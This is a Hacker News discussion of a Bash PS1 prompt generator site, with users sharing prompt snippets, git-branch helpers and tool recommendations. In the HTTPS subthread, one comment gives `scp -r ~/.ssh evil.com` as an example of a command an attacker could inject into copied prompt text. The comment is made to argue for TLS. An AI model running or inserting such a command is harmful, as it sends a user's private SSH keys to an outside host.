Bash PS1 Generator(bashrcgenerator.com)

323 pointsby nailervor 5 Jahren143 comments

http://bashrcgenerator.com/

145 comments

Seeing '>' as an option makes it somewhat relevant to mention here: I'd recommend not ending your prompt with a '>' character (as you'd see in DOS/Windows a lot, which might make it seem like a nice option). If you accidentally copy and paste your prompt with a command after it, (which is easy to do with a couple mouse clicks, or if you forget what's in your clipboard after copying some lines from your terminal,) the first thing after the > sign is the file for a script or executable and you will truncate the file (make it 0 bytes). This can be especially bad if you're root at the time. (That makes # as a root prompt especially a good idea.)

codemacvor 5 Jahren

; is also a great prompt, without directory machine name or anything.

I just copy paste my session, and rerun most commands.

tyingqvor 5 Jahren

Maybe ＞(Unicode 0xFF1/＞) would be a good substitute?

Side by side: >＞

TremendousJudgevor 5 Jahren

that seems like asking for trouble

wodenokotovor 5 Jahren

Japanese has a few brackets that might be useful but less easy to confuse.

Here’s a few the IME on my phone suggested (the middle ones are the same as yours as far as I can tell):

〉> ＞ ≫ 》

RobRiveravor 5 Jahren

I would have never thought of that. ty for the tip

drivers99vor 5 Jahren

Learned about that when a co-worker did that about 20 years ago.

[deleted]vor 5 Jahren

chrissnellvor 5 Jahren

Terminal app feature idea: a hotkey that puts the last command run in the copy buffer

dllthomasvor 5 Jahren

    function copy_last_command {
        history 1 | sed 's/ [0-9]*  //' | xclip -i
    }
    bind -x '"\C-h":copy_last_command'

bobbyi_settvvor 5 Jahren

The Mac equivalent of xclip -i is pbcopy

gratonvor 5 Jahren

Somewhat related to PS1 is PS4 in bash.

Make your trace output more useful/verbose in your scripts:

  set -x
  export PS4='+ ${BASH_SOURCE:-}:${FUNCNAME[0]:-}:L${LINENO:-}:   '

This will print the filename, function name, line number, and line content during execution.

formerly_provenvor 5 Jahren

In case someone wonders, this does retain the repeated "+" to indicate call depth: "The first character of PS4 is replicated multiple times, as necessary, to indicate multiple levels of indirection." -- this is an important feature when working on large-ish (1-10+k LoC) scripts, which end up having very deep call stacks and a flat trace output would be completely inscrutable.

Xophmeistervor 5 Jahren

If you have 10k LoC Bash scripts, then you’ve got bigger problems!

formerly_provenvor 5 Jahren

Overall it's more like 150k LoC or something like that (split into the classic three layer architecture: "scripts", "library" and "more scripts on top"). It does work though. Much better than you'd expect from hearing "tens of thousands of lines of shell".

jethro_tellvor 5 Jahren

I've run the bash 10k and all I got was this shirt!

kstrauservor 5 Jahren

I was moved to experiment with Fish shell one day, and wanted to see how to set my prompt. Answer: you create a function named `fish_prompt` that uses regular shell commands like `echo` (and fish's own `set_color`) to imperatively build the prompt. Want to make a right-hand prompt for something like the current time? Write a function named `fish_right_prompt`. For example, here's mine:

  function fish_right_prompt --description 'Write out the right prompt'
      set_color 666666
      date +'%Y-%m-%d %H:%M:%S'
      set_color normal
  end

I was sold. I'm never, ever going back to futzing around with a bunch of complex $PSx variables when I can just write a function that does the right thing.

dllthomasvor 5 Jahren

Note that in bash there is the PROMPT_COMMAND variable, which runs before the prompt is printed and which can be used to print things and to set PS1 if you want more dynamism than bash more directly affords.

dllthomasvor 5 Jahren

For a "right prompt" showing the time in particular, though acknowledging it'll get overwritten if you're writing a long command (which may or many not be what you want), running `printf "%${COLUMNS}s" "$(date)"` from PROMPT_COMMAND does the trick.

euskevor 5 Jahren

I think the drag-n-drop UI is less intuitive. Wasted a few minutes trying to click these items as "buttons" and wondering if there's something wrong because of the http-onlyness of the site (console gives a lot of warning).

alias_neovor 5 Jahren

Shame is not single click, I thought it was broken on mobile because nothing happened when I click, then I knew it doesn't work on mobile when I realised it's drag and drop.

igetspamvor 5 Jahren

Thank you for that. I've been clicking and thought it was broken.

_kblcuk_vor 5 Jahren

Yea, why not just have "double-click" as "add this element to the end of input".

dolmenvor 5 Jahren

Why not just single click?

teknopaulvor 5 Jahren

does it work on mobile? I couldn't get it to. By coincidence I need to update PS1 on a bunch of servers today, nice idea.

Exit status should defo be in the default in all distros.

Zhylvor 5 Jahren

Notes:

* As an idea, this is excellent. It's intuitive to use and provides full instructions on how to implement

* Putting an element in any other position than the end of the prompt is fiddly.

* I'd love for the option to to be able to colour elements.

* More advanced or exotic element types such as Git Branch would be excellent (Not sure if Bash supports this, but I've seen it in some shells)

Jenkvor 5 Jahren

For the manual approach, git provides a shell script to generate the env var __git_ps1 for this very purpose.[1]

[1]: https://git-scm.com/book/id/v2/Appendix-A%3A-Git-in-Other-En...

cghendrixvor 5 Jahren

Very cool, had no idea!

teknopaulvor 5 Jahren

I think a manual approach is covered with vim ;)

dolmenvor 5 Jahren

See also:

* LiquidPrompt [0] (I'm a former maintainer)

* angel-PS1 [1]: my pet project. Shell prompt code is generated at startup time from Perl code, and uses a Perl angel (not daemon) to get system information.

[0] https://github.com/nojhan/liquidprompt

[1] https://github.com/dolmen/angel-PS1

Rayhemvor 5 Jahren

There's one prompt in ZSH, the adam2 prompt[1], that I completely fell in love with due to the automatic horizontal rule since it makes tracing histories so much easier when dealing with long-scrolling outputs. I've never been able to find a similar feature in another prompt/shell, nor have I had the inclination to try and replicate it, but I'd be much more inclined to switch shells/try new prompts if that were available.

[1]: https://imgur.com/1X9bY8X

indianboy42vor 5 Jahren

The tide prompt for fish has an option to add a horizontal rule and spaces between each command

phit_vor 5 Jahren

double click an element to change the color

Zhylvor 5 Jahren

Aha! Thank you!

dom111vor 5 Jahren

I've shared it elsewhere too, but I made something similar a few years ago which provides what you were after:

https://dom111.github.io/bash-ps1/

dopidopHNvor 5 Jahren

Bash do support git branch name and whatnot. That what got me into PS1 customization.

arendtiovor 5 Jahren

You think your prompt is too fast? Just add some HN style to it:

  PS1="\$(curl -fsL https://news.ycombinator.com/user?id=USERNAME | awk 'x==1 {print \$1; x=0}; /karma/{x=1};') $PS1"

Replace USERNAME with your HN nick and always have your karma at your fingertips ;-)

PS: This is a really bad idea...

nobody9999vor 5 Jahren

I've been using this for years (output of 'echo $PS1' ):

  [\e[1;33m\u\e[1;32m@\e[1;31m\H \e[1;36m\t\e[0m]
  [\e[1;35m\w\e[0m](\e[1;32m\#\e[0m                                               
  )\n$

which presents as:

  [User@HOST 10:21:07][~](2)
  $

(Username, hostname, 24 hour local time, CWD, history count, newline, prompt)

More detail from my .bashrc:

  # Define some colors first:
  red='\e[0;31m'
  RED='\e[1;31m'
  blue='\e[0;34m'
  BLUE='\e[1;34m'
  cyan='\e[0;36m'
  CYAN='\e[1;36m'
  green='\e[0;32m'
  GREEN='\e[1;32m'
  NC='\e[0m' # No Color
  yellow='\e[0;33m'
  magenta='\e[0;35m'
  YELLOW='\e[1;33m'
  MAGENTA='\e[1;35m'
  export PS1="[${YELLOW}\u${GREEN}@${RED}\H ${CYAN} 
  \t$NC][${MAGENTA}\w$NC](${GREEN}\#$NC)\n\$ "

I define the colors as it makes it easier to modify PS1 when the spirit moves me.

I guess using a generator or toolkit could be useful, but I tweaked mine over the years and prefer it just this way.

Edit: I forgot to mention that I use different colors for user vs. root prompts, as that gives immediate visual confirmation of privilege level.

nine_kvor 5 Jahren

I usually place the time at the beginning. Another thing to place at the beginning is a (red) exit code of the last command, when that code is not 0.

BearOsovor 5 Jahren

You need to add some \[ and \] around the escape codes to tell the shell they’re non-printing characters. Otherwise, things like line-wrapping don’t work right. It’s not a problem because of your \n makes it irrelevant, but just a heads up for the future.

_eigenfoovor 5 Jahren

What do you use the history count for?

compressedgasvor 5 Jahren

That tells one the index to use for !N to repeat that command

!! repeats the last command

!N repeats the command with that index in the history

MichaelMoser123vor 5 Jahren

current git branch is missing (helps me to avoid working on the wrong branch). (tried to do it with colors, but things got too messy). I never managed to work with colors in bash propmts; they look different on each environment.

  parse_git_branch() {
    git branch 2> /dev/null | sed -e '/^[^*]/d' -e 's/* \(.*\)/ (\1)/'
  }

  PS1="[\u@\h \W\$(parse_git_branch)]\$ "

sirnvor 5 Jahren

You might want to use `git rev-parse --abbrev-ref HEAD` or `git name-rev --name-only HEAD` instead of `git branch`. Plumbing commands (such as rev-parse or name-ref) are generally more interface-stable to use in a script than porcelain commands (such as git branch) which are designed for interactive use where output may change depending on user environment and configuration.

NegativeLatencyvor 5 Jahren

I’ve heard this advice given before and initially followed it but ‘git branch’ and parsing the output works in a few cases (I don’t recall what they are at this time) that less hackey approaches don’t.

sirnvor 5 Jahren

I think that might be `git symbolic-ref` which doesn't work in detached HEAD state (e.g. when checking out a commit) whereas `git rev-parse --abbrev-ref` will print "HEAD". On the other hand, `git name-rev` will try to find the nearest named ref (including tags) and how far HEAD is from that named ref (e.g. master~1).

Internally, symbolic-ref resolve the ref in the same way as git branch, just without handling detached HEAD. __git_ps1 use a combination of rev-parse, symbolic-ref and git describe to provide a more interesting output for displaying state of the working directory.

To have the similar output for detached HEAD as git-status (e.g. "HEAD detached at fa0c4e1") then probably `git rev-parse --abbrev-rev` and `git rev-parse --short` should be used together. Unfortunately, while rev-parse can print multiple output in a single command, abbrev-rev and short cannot be used together. In such case, parsing `git status` might indeed be more suitable as it spawn only one executable instead of two.

Some porcelain commands do have --porcelain flag to ensure the stability of the interface, though (e.g. `git status --porcelain=v1`).

MichaelMoser123vor 5 Jahren

makes sense. thanks!

ryenusvor 5 Jahren

Nowadays there's the `--show-current` option:

    git branch --show-current

See https://git-scm.com/docs/git-branch

paulmac_ievor 5 Jahren

This is my prompt that shows my git branch, AWS_PROFILE etc:

    if [ "$color_prompt" = yes ]; then
        PS1='\[\033[0;32m\]\[\033[0m\033[0;32m\]\u\ 
        [\033[0;36m\] @ \[\033[0;36m\]\h \w\ 
        [\033[0;32m\]$(__git_ps1)\n\[\033[0;32m\]└─\ 
        [\033[0m\033[0;32m\] \$\[\033[0m\033[0;32m\] 
        AWS:${AWS_PROFILE} ▶\[\033[0m\] '
    else
        PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
    fi

res0nat0rvor 5 Jahren

This is the PS1 I've been using for a long time:

export PS1="\n\$(kube_ps1)\n\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[0;31m\]\$(__git_ps1)\n\$\[\033[00m\] "

Note it needs the git-prompt.sh script (usually comes with the bash-completion package), and the kube-ps1 script: https://github.com/jonmosco/kube-ps1

It will show you the current kubernetes profile and namespace, user@host, current directory and git branch if you're in a git repo.

dllthomasvor 5 Jahren

I recently added a count of stashes (in red) following the branch name, and I've been liking it.

yborisvor 5 Jahren

My favorite is to have bash start with 3 random emojis. Feels like a little haiku.

https://github.com/whyboris/dotfiles/blob/master/.bashrc

Liskni_sivor 5 Jahren

Another useful thing to have in one's PS1 is an optional newline if the last output didn't print one itself. Turns out this is non-trivial to get working perfectly (https://stackoverflow.com/questions/19943482/configure-shell..., https://work.lisk.in/2020/11/20/even-faster-bash-startup.htm...). The version that I've been using for a while without problems is this one:

  function __col1_ps1 {
    [[ $MC_SID ]] && return

    local termios cur_y
    # ask the terminal for any pending (line buffered) input
    termios=$(stty --save) && stty -icanon && stty "$termios"
    # if there's pending input, assume it's been echoed and we're not in first column
    # otherwise ask the terminal for current column and read it from input
    if read -t 0 || { IFS='[;' read -s -r -d'R' -p$'\033[6n' _ _ cur_y && [[ $cur_y != 1 ]]; }; then
      echo $'\001\033[41m↵\033[m\002\n\001\r\002'
    fi
  }

  PS1='$(__col1_ps1)<the rest of my prompt>'

My full prompt is here: https://github.com/liskin/dotfiles/blob/9785740f7f97d7da1f84...

ddtaylorvor 5 Jahren

Normally I don't post much about how a site should use HTTPS on HN, but for this specific instance I think it's important.

freedombenvor 5 Jahren

I agree. If the maintainer is here, you can use certbot to add HTTPS easily on your existing Apache 2/Debian stack. If you're on Stretch or Buster the official instructions are the same: https://certbot.eff.org/lets-encrypt/debianstretch-apache

One note: I hate snaps and don't use them personally, but it would make it very easy for you to add HTTPS without changing your existing stack.

teknopaulvor 5 Jahren

why?

chrisshrobavor 5 Jahren

If the outputted prompt contains something like `scp -r ~/.ssh evil.com`, folks may not notice or be savvy enough to recognize that it is malicious. A MITM attacker could quite easily implement this.

ddtaylorvor 5 Jahren

It's also possible to hide the characters entirely so they don't appear visually but are part of the clipboard.

roboticmindvor 5 Jahren

I assume they are saying that because you wouldn't want something where someone could do a MITM and insert arbitrary bash commands through $() or other similar things

aaronchallvor 5 Jahren

I wrote my PS1 in Python once, but on review it turned out much better to have it completely in shell:

    set_PS1()
    {
        local RESET=$(tput sgr0 )
        local BOLD=$(tput bold )
        local RED=$(tput setaf 1 )
        local GREEN=$(tput setaf 2 )
        local YELLOW=$(tput setaf 3 )
        local BLUE=$(tput setaf 4 )
        local MAGENTABG=$(tput setab 5 )
        local CYAN=$(tput setaf 6 )

        local WHOAMI='\u'
        local WHERE='\w'
        local HOSTNAME='\h'
        local DATE='\D{%Y-%m-%d %H:%M:%S}'
        local LAST_RET='${?#0}'

        local LINE_1="$YELLOW$DATE $GREEN$WHOAMI$RED@$CYAN$HOSTNAME $BLUE$BOLD$WHERE$RESET"
        local LINE_2="\\[$MAGENTABG\\]$LAST_RET\\[$RESET\\]"'\$ '

        PS1="$LINE_1\n$LINE_2"

        unset -f set_PS1
    }

    set_PS1

sauce: https://codereview.stackexchange.com/q/174019

sharkenvor 5 Jahren

PowerShell uses the PS1 extension for it's script files and is also available for Linux for added confusion.

Apparently the extension PS1 is a reference to PowerShell 1.0.0, thankfully Microsoft did not increase the number.

Source

https://github.com/PowerShell/PowerShell/issues/2013

nailervor 5 Jahren

Here's what I'm currently rocking:

    0 0:00:00
    ~/Code/company/app$

First number is exit code of previous command, second is how long it took. Credit to https://unix.stackexchange.com/questions/252229/ps1-prompt-t... for the last part. It's a bit ratchet:

- I actually don't care about the exit code unless it was non-zero

- It calculates the delta three times

but I've been to busy to optimise it.

    prompt_command() {
      _PS1_now=$(printf '%(%s)T')
      PS1=$( printf "\n\$? \[\e%02d:%02d:%02d \n\[\033[01;34m\]\w\[\033[00m\]\$ " \
              $((  ( _PS1_now - _PS1_lastcmd ) / 3600))         \
              $(( (( _PS1_now - _PS1_lastcmd ) % 3600) / 60 )) \
              $((  ( _PS1_now - _PS1_lastcmd ) % 60))           \
          )
      _PS1_lastcmd=$_PS1_now
    }
    PROMPT_COMMAND='prompt_command'
    _PS1_lastcmd=$(printf '%(%s)T')

mmphosisvor 5 Jahren

Here's what I'm currently rolling:

A colorful prompt appears, only when 'user or hostname or path' changes, or after certain commands:

  - username@hostname:pwd
  $

Somewhere in .bash_aliases ...

  ### PROMPT ###

  ### long prompt (in color) only when 'user or hostname or path' changes, or after certain commands
  prompt_command () 
  { 
    local -a a;
    local last_cmd;
    IFS=' ' read -r -d '' -a a < <( history 1 );
    last_cmd="$(printf "%s" "${a[1]}"|xargs -0)";
    if [ "$USER_HOSTNAME_PWD" != "$USER@$HOSTNAME:$PWD" ] || [[ " cd src doc ssh sudo su login $(sed -e '/^#.*$/d' -e '/^$/d' -e 's@^.*/@@' /etc/shells|uniq|xargs) " == *" ${last_cmd} "* ]]; then
        USER_HOSTNAME_PWD="$USER@$HOSTNAME:$PWD";
        echo -e "\\e7\\e(B\\e[m- \\e[3$((($(id -u) != 0) + 1))m${USER}\\e(B\\e[m@\\e[35m${HOSTNAME%%.*}\\e(B\\e[m:\\e[36m${PWD/#$HOME/\~}\\e8";
    fi
  }
  -() { unset USER_HOSTNAME_PWD
  }
  PROMPT_COMMAND=prompt_command
  PS1='$ ';[ "$(id -u)" -eq 0 ] && PS1='# '

moominvor 5 Jahren

Or use starship...

manjanavor 5 Jahren

There is also powerline. https://github.com/powerline/powerline

mzztervor 5 Jahren

What is starship?

Edit: Found it, it’s a cross-shell prompt. Appears to require a binary install.

voxadamvor 5 Jahren

https://starship.rs/

https://github.com/starship/starship

nikolayvor 5 Jahren

It's too bloated. It has all kinds of built-in stuff with ugly defaults instead of just providing a framework with plugins.

pletnesvor 5 Jahren

It can be configured and the default has to be something. The main problem is that it’s just too slow, at least in my experience. Even stripped of some bloat it can take >1s to get the prompt printed. Not worth it, at all.

ylynvor 5 Jahren

This has not been my experience at all.

Then again, I only use 5 of all the plugins available.

nikolayvor 5 Jahren

Same experience. It also hurts me that support for so many things is baked-in!

dolmenvor 5 Jahren

If you like framework and plugins, try my own angel-PS1.

https://github.com/dolmen/angel-PS1

dolmenvor 5 Jahren

Contrary to Starship, angel-PS1 gets all static information at startup time (ex: hostname, username) and rebuilds only the dynamic information. And for that dynamic information it uses an angel companion instead of forking and loading the configuration file for every prompt display.

nikolayvor 5 Jahren

Great job! Thank you!

magniovor 5 Jahren

Starship is the only prompt I've used that has (a) sane defaults, (b) cross platform support as well as ease of installation, and (c) good enough speed. Powerline is much slower, and I lose my serenity everytime I have to fiddle with dotfiles.

swahvor 5 Jahren

I just got

~/bin via v1.8.0 via v2.7.16 on (us-east-2) [1]

even on non-project folders and have no idea why that is being listed.

[1] emojis got lost in hn, but it was a coffee cup, a snake and a cloud..

ec109685vor 5 Jahren

https://starship.rs/config/#default-prompt-format

dom111vor 5 Jahren

I've made something similar to this too, I wanted to be able to change the colours and preview so it ended up being a bit of a rabbit hole, but was fun!

https://dom111.github.io/bash-ps1/

MontagFTBvor 5 Jahren

I don’t see a ‘#’ option there. It’s a valuable command line inclusion to keep copypasta from executing something you may not intend. Also, the ability to check what branch I’m in (assuming cwd is in a git repo) is a useful prompt inclusion.

dirousselvor 5 Jahren

Use https://starship.rs/ abs get the same prompt in all your shells. Also it’s written in rust, so it’s faster than a load of bash scripts.

villasvvor 5 Jahren

Absolutely a quality of life tool. Very few excuses left to put up with zsh + Oh-My-Zash.

cbsmithvor 5 Jahren

I mean, the other alternative is just keep your prompt simple. ;-)

queuebertvor 5 Jahren

This. The one time a month when I can't remember which git branch I'm on I'll just run 'git branch'. If you're feeling frisky, you could even alias that to 'gb'.

rmetzlervor 5 Jahren

One time a month? Currently I have 85 work related repositories checked out, putting the current git branch and current Kubernetes context in the prompt is helping to avoid mistakes.

I also have a newline in my prompt which makes it easier to copy commands and output into Jira.

renoxvor 5 Jahren

I don't have 85 repo but 5 worktree were enough to make me do some errors, so I print the 'environment' configured and the current path but that wasn't enough so now I 'invert' the colors if the current directory doesn't match the environement variables --> no more errors

ec109685vor 5 Jahren

85 repos seems like so many. Are you making many changes that need to span across multiple? How many are touched over the course of a week?

cbsmithvor 5 Jahren

I'm guessing this place is not using mono-repo. ;-)

brobinsonvor 5 Jahren

>you could even alias that to 'gb'.

oh-my-zsh does this by default as it comes with the "git" plugin loaded. "gb -vv" is a common thing I run.

gumbyvor 5 Jahren

I love the irony of using a GUI tool to create a prompt for a shell.

IgorPartolavor 5 Jahren

I think that says something about the bash PS1 syntax.

dolmenvor 5 Jahren

Well, I'm using Perl to generate PS1 (for bash and most other Unix shells).

https://github.com/dolmen/angel-PS1

the__prestigevor 5 Jahren

On the site all prompt variables end in "tput sgr0". I haven't seen that before. What does that do and why is it needed?

sirnvor 5 Jahren

tput query a terminfo database and return an escape code suitable for that $TERM. sgr0 is the name for "reset" (e.g. "\033[0;10m" in ANSI). Using tput instead of escape code directly is better in a lot of ways. For example, it allows the shell script to be adaptive to the type of TERM it runs on (e.g. not outputting color codes at all if TERM doesn't support colors).

You can see what each tput commands are doing by running infocmp. Most TERM implement ANSI-compatible escape codes, but may prefer other escape codes for the same effect (e.g. try comparing `infocmp -1 ansi` and `infocmp -1 xterm` and `infocmp -1 screen`). You can see the entire list of these commands in terminfo(5) (`man 5 terminfo`) in Predefined Capabilities section.

dolmenvor 5 Jahren

tput uses the terminfo database which is usually located in /usr/share/terminfo.

If your terminal ($TERM) is not known to the operating system, you can also import the terminfo definition from another OS in a directory and point the TERMINFO environment variable to it (useful if the legacy OS you connect to via SSH doesn't have full support for your fancy terminal emulator).

mmphosisvor 5 Jahren

Rather than turn off all attributes with "tput sgr0", instead I Save Cursor with "tput sc" at the beginning to save attributes, and Restore Cursor with "tput rc" at the end to restore attributes.

Save and Restore cursor doesn't always work because I don't necessarily need the vertical position restored, for example:

  ls_color () { 
    tput sc;
    /bin/ls --color=auto "$@";
    push_cursor_position;
    tput rc;
    pop_cursor_position
  }

whelming_wavevor 5 Jahren

`tput sgr0` reads terminfo to find out how to issue a command which resets all currently set colors, text properties, and so on, then resets them. A lot of people will do something like `echo -e '\E[32;46m'`, but that's arguably more opaque and definitely not portable across terminals.

tput is a neat command that I wish got used more! I also use `tput cnorm` to ensure the cursor is visible.

mixmastamykvor 5 Jahren

Others explained why. But, it’s not really been necessary since maybe the early 90s, unless you have hardware terminals around?

It’s more efficient to echo CSI 0m, in shell than to run another process to do the same. Every mainstream terminal supports it.

rexfvor 5 Jahren

I've seen many similar PS1 generator sites over the years. Building a weekend project is great.

I built one in 2012 http://xta.github.io/HalloweenBash/ with drag and drop.

I think there is room for someone to create a site to generate PS1 for zsh (since macOS comes with zsh now).

tinesvor 5 Jahren

I think there's a bug, at least in Firefox. When you drag to remove an element from the currently active set, the "sample output" only updates after making _another_ change. So if you drag to remove two elements one-at-a-time, the "sample output" will lag one action behind what you have in the workspace.

scbrgvor 5 Jahren

Why would you export PS1? Seems like unnecessarily cluttering the environment of child processes.

arendtiovor 5 Jahren

What is wrong with the above comment (it got downvotes)?

Isn't it correct? I mean, sure, we are talking shell here, so who cares about efficiency, but I don't see the benefit of using export either.

scbrgvor 5 Jahren

Thank you :-)

To elaborate, when I say "cluttering," it's not really performance I'm after. Of course I realize that yet another small key value pair in a hashmap matters very little. Rather, I'm thinking in terms of debugging and - worst case - weird side effects.

When I debug something I'm not helped by the environment being filled with unnecessary crap, in much the same way I don't particularly declare a bunch of irrelevant global variables in my programs.

In the worst case, a leaking environment may cause problems. What if another interactive shell process is spawned by a sub shell, and suddenly your prompt that queries your mail server, double checks if there's new stuff in GitHub, fetches the next ten days' weather and renders hamsterdance in your prompt using a hacked font or whatever is inherited (except that now maybe it runs as root). Unlikely? Yeah, sure. Still unnecessary.

In the end though, I suspect many people just aren't aware of the difference between exporting a variable and not, and somehow think that "to declare a variable in a shell you must type export".

Seb-Cvor 5 Jahren

My customized PS1 only contains the current path.

Additionally, I have used git-prompt as PROMPT_COMMAND for a long time, and it's certainly the most useful piece of information.

spicybrightvor 5 Jahren

All this stuff is easy to remember. I want colors so bad.

You could even have colors be containers you put other elements inside to make it easier to visualize

chrisspybvor 5 Jahren

It has colors - double click on an element after dragging it into "your selection"

tsavolavor 5 Jahren

No https.

jacobmischkavor 5 Jahren

While https is a good default, and LetsEncrypt has made it relatively trivial, I wouldn't say this particularly needs it; there isn't any user data at all.

I suppose without TLS it could be intercepted and modified to return a malicious bash command, or something, but this random site on the internet could do that on its own without being intercepted anyway.

junonvor 5 Jahren

> but this random site on the internet could do that on its own without being intercepted anyway.

Who has more incentive to do so: the person that wants their site to have visitors, or a malicious attacker intent on MITM people in the first place?

What a ridiculous defense of insecurity.

tsavolavor 5 Jahren

Always having https removes the need to consider the security implications of unencrypted transport on case-by-case basis.

I have been using HTTPS Everywhere extension and currently Firefox's HTTPS-Only feature in strict mode for a long time. Nowadays few links fail to work for me, so the failing ones stand out.

chrismorganvor 5 Jahren

Me too. Out of curiosity, I also added a user style sheet (via Stylus) to mark HTTP links:

  :where(:link[href^="http:"])::after {
    content: " [http]";
    color: red;
    text-decoration: none;
  }

(I use the :where(…) wrapping so that any site actually trying to use :link::after for real stuff can override my styles without specificity conflicts.)

It’s interesting especially to see how often https: sites have http: links to their own domain, which are just going to get redirected back to the https:. (The HN footer has the “Legal” and “Apply to YC” links being to http://www.ycombinator.com/* for no good reason, a very similar case.)

And how horribly many emails use http: tracking links, and how painfully many of those domains don’t speak HTTPS.

HN’s front page normally has 0–2 out of 30 of the links being HTTP, almost always old domains. It’s fairly rare for a new site to go plain HTTP.

dolmenvor 5 Jahren

Great trick.

seanwilsonvor 5 Jahren

> I wouldn't say this particularly needs it; there isn't any user data at all. > I suppose without TLS it could be intercepted and modified to return a malicious bash command, or something

A hacked version doesn't have to return a variation of what's on the page already. There's lots of sneaky things you could return, like a malware download pretending to be a Bash PS1 setup script, a fake GitHub based sign-up to harvest login details, a payment form for a fake product, or a simple redirect to another malicious site.

[deleted]vor 5 Jahren

st_goliathvor 5 Jahren

> I wouldn't say this particularly needs it; there isn't any user data at all.

I use NoScript. This page requires me to enable JavaScript for it to work. Because it doesn't use TLS, this allows any miscreant in the middle to injected JS doing god-knows-what into my browser.

If you really insist (in this case IMO understandable) on having me download and run your program, written in a turing complete scripting language, please let me do so in a way where I can be sure it is actually your program (assuming I trust you that far; which for most people I don't, hence NoScript).

recursivevor 5 Jahren

But no one is insisting.

st_goliathvor 5 Jahren

"It must turn on the JavaScript, or it gets the blank page again" - The Silence of the LAMPs

--

https://en.wiktionary.org/wiki/insist#Verb

Wiktionary is a website that has improved functionality after turning on JavaScript, but works just fine without it. It does not insist on using JavaScript.

I guess what you actually mean is "no one is insisting on me looking at their website"? That would be true, but I don't recall making any contrary claims.

If I do want to look at a website, the site insists on using JavaScript, but does not use HTTPS, that can be a security issue. That's what my original comment tries to point out.

ddtaylorvor 5 Jahren

> I suppose without TLS it could be intercepted and modified to return a malicious bash command, or something, but this random site on the internet could do that on its own without being intercepted anyway.

Those are two completely different attack surfaces. You should be able to trust a single site without having to trust every other hop on the Internet and a good reason why TLS should be used here.

robinson-wallvor 5 Jahren

This is a website which serves the sole purpose of encouraging people to copy snippets of text and paste them into their terminal, and there are plenty of techniques that ensure what you see on the page isn't what gets into your clipboard.

hughrrvor 5 Jahren

Am I the only one who leaves mine as is?

wsc981vor 5 Jahren

I've found having my current git branch shown in my prompt is extremely useful to prevent committing on the wrong branch. YMMV.

hughrrvor 5 Jahren

That’s pretty handy actually. Thanks for the idea.

dolmenvor 5 Jahren

Well, the default prompt you have may already have been customized by operating system vendor (Linux distro) and not be the real bash default.

Try this to get the real default:

    PS1='[\u@\h \W]\$ '

jethro_tellvor 5 Jahren

PS1='$ '

or

PS!='# '

wcchandlervor 5 Jahren

I do for my linux systems, but I now have to use a Mac for work and can't stand the default. Happy to use this tool to spitball something new.

jethro_tellvor 5 Jahren

I leave the one on remote hosts the same. I work mostly on a terminal in my laptop locally and mostly just have the time and the command number listed so I can see things in the scrollback.

circularfoyersvor 5 Jahren

Do you use Linux as your main OS on your desktop or laptop. If so, how much do you use the terminal and what for?

hughrrvor 5 Jahren

I use a Mac connected to various Linux nodes via ssh. Development and sysadmin work.

dllthomasvor 5 Jahren

I prefer ${PIPESTATUS[*]} to $?; much more informative (when there's a difference).

throwmemoneyvor 5 Jahren

What is the best way to have the long directory line above the prompt? Using PS2 or PS3?

nine_kvor 5 Jahren

Something like "\w\n\$ " should work; mine is more complex by the idea holds, you can have a \n in your PS1 just fine.

geraldcombsvor 5 Jahren

I'm not a fan of multiline prompts but I do like knowing where I am, so I trim the path and prepend a "…" character.

llarssonvor 5 Jahren

Lovely idea!

Now please add some examples, so it's easier to get started with something to modify. :)

Zababavor 5 Jahren

Nice, but there is a bug: if you add @ and then remove it, the @ still stays.

nickdothuttonvor 5 Jahren

A wonderful fusion of Web and CLI. I think this hybrid could be a rich seam.

jedimastertvor 5 Jahren

snippet in my PS1 to get the current git branch:

  $(git branch | grep ^* | colrm 1 2)

You could use

  $(git branch --show-current)

but if the head is detached it won't show anything

Hypergraphevor 5 Jahren

Cool

wyuenhovor 5 Jahren

Just use starship.rs

makachvor 5 Jahren

LOVELY. Thank you.

gigatexalvor 5 Jahren

amazing. does something similar exist for ZSH?

dtx1vor 5 Jahren

https://github.com/spaceship-prompt/spaceship-prompt

timothylaurentvor 5 Jahren

Or just use https://starship.rs/ for any shell

tyingqvor 5 Jahren

Was expecting this:

   ________________
  |   |,"    `.|   | SgH
  |   /  SONY  \   |
  |O _\   />   /_  |   ___ _
  |_(_)'.____.'(_)_|  (")__(")
  [___|[=]__[=]|___]  //    \\

queuebertvor 5 Jahren

(ノ°Д°）ノ︵ ┻━┻

Greg_hamelvor 5 Jahren

Same.

pkdpic_y9kvor 5 Jahren

omg yes : )